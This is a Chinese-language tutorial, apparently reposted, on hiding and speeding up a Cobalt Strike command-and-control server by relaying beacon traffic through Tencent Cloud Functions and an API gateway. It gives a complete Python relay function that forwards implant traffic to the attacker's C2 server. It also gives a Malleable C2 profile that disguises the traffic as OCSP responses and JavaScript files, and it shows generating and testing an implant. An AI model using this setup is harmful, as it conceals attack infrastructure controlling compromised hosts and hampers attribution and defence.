|
原文链接:为你的C2隐藏与加速一、原理介绍
这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏
这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN 的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。
二、
具体实现
CS 一定要使用 4.1 版本(文末下载链接),4.0不行。
我们使用腾讯的 云函数 + API网关 进行具体的实现:
每个月免费的一百万次的请求和40万GB·s的资源请求,基本上叫做用不完了
云函数
创建测试云函数首先使用云函数进行创建:
函数的名字和语言的类型都可以自定义选择,你使用哪种语言进行开发,就选择哪种代码进行书写,这样我们创建好了一个云函数,里面的内容我们先不写,先创建好触发管理,然后确定能够访问到我们再书写转发代码,在触发管理中进行配置:
勾选 API网关触发 并且生成 API 网关,这个时候将我们的云函数发布,并且访问一下 API网关查看效果:
发布
访问:
可以看到我们访问网关后确实执行了我们的函数,我们在云函数的日志服务中也可以看到:
这样就确定我们能够通过API网关调用函数。
中转函数创建这里我贴出 python3 的中转代码:
- # -*- coding: utf8 -*-
- import json,requests,base64
- def main_handler(event, context):
- C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
- path=event['path']
- headers=event['headers']
- print(event)
- if event['httpMethod'] == 'GET' :
- resp=requests.get(C2+path,headers=headers,verify=False)
- else:
- resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
- print(resp.headers)
- print(resp.content)
-
- response={
- "isBase64Encoded": True,
- "statusCode": resp.status_code,
- "headers": dict(resp.headers),
- "body": str(base64.b64encode(resp.content))[2:-1]
- }
- return response
复制代码 在python3.6中请求 HTTPS的话会存在一些问题,所以我们在请求的主体中加上了 verify=False 当然,要是你使用的是 HTTP的话也没事,不用去掉一样能用,然后将上面的代码放到云函数中:
在这里我帮大家排个坑,使用域名的话,是不能套 CDN 的,会直接找不到,只能使用纯IP的方式
然后保存发布函数,再到触发条件里面把原来的 API网关触发删除,添加新的网关触发,因为上面我们为了测试是否能够访问到函数,没有勾选集成响应,集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持:
然后我们还需要去配置 API 网关的默认路径:
然后直接完成配置
配置好云函数和 API网关 以后,我们去配置一下 C2 的服务器
新增 profile 文件这里是使用 Github上一个师傅的代码:
- set sample_name "kris_abao";
- set sleeptime "3000";
- set jitter "0";
- set maxdns "255";
- set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
- http-get {
- set uri "/api/getit";
- client {
- header "Accept" "*/*";
- metadata {
- base64;
- prepend "SESSIONID=";
- header "Cookie";
- }
- }
- server {
- header "Content-Type" "application/ocsp-response";
- header "content-transfer-encoding" "binary";
- header "Server" "Nodejs";
- output {
- base64;
- print;
- }
- }
- }
- http-stager {
- set uri_x86 "/vue.min.js";
- set uri_x64 "/bootstrap-2.min.js";
- }
- http-post {
- set uri "/api/postit";
- client {
- header "Accept" "*/*";
- id {
- base64;
- prepend "JSESSION=";
- header "Cookie";
- }
- output {
- base64;
- print;
- }
- }
- server {
- header "Content-Type" "application/ocsp-response";
- header "content-transfer-encoding" "binary";
- header "Connection" "keep-alive";
- output {
- base64;
- print;
- }
- }
- }
复制代码 创建好以后,将这个文件放到CS的根目录下:
然后启动 CS 并且加载配置文件,在4.1运行,在4.0中会有玄学问题:
本地打开 C2 客户端,然后监听一下本地的80端口,查看web日志,看看是否可以访问得到:
配置监听:
复制一下路径,在监听中填写,监听的类型根据你在函数中填写的来选,如果使用的HTTPS的话就选 HTTPS,使用HTTP就使用HTTP:
在 C2 客户端的 WEB日志可以看到请求:
三、
上线测试
生成马子,并且测试上线:
然后我们将马子放到微步沙箱上进行查看:
已经将我们的信息隐藏起来,只能看到云函数的信息,并且我们的流量会一直从云函数上转发,为了测试我们将 回连的时间设置为 5s 查看一下云函数日志的信息:
可以发现对应的时间间隔为 5s 说明我们的流量都是中转了的,在日志中的敏感信息除了自己的本机的IP会被记录以外,不会涉及到其他任何信息,可以将自己的IP进行代理做到隐藏。
除此以外,还有一个非常离谱的东西,就是我们使用的时候,你会发现这个 IP 一直变换,这个是正常的,不用紧张可以正常使用,但是你要是用4.0的话就没法执行命令了:
IP 问题上面所提到的 IP 一直变换是由于腾讯云自己的 CDN 的缘故,我们上线的机器的外网IP全部都是腾讯云的,如下:
这样我们可以使用一些其他的方式获得当前主机的 IP 例如使用 curl命令:
参考链接
Fully Functional C2(https://www.dropbox.com/s/2yo4uud6fgbe1t5/Fully Functional C2.pptx)
|
|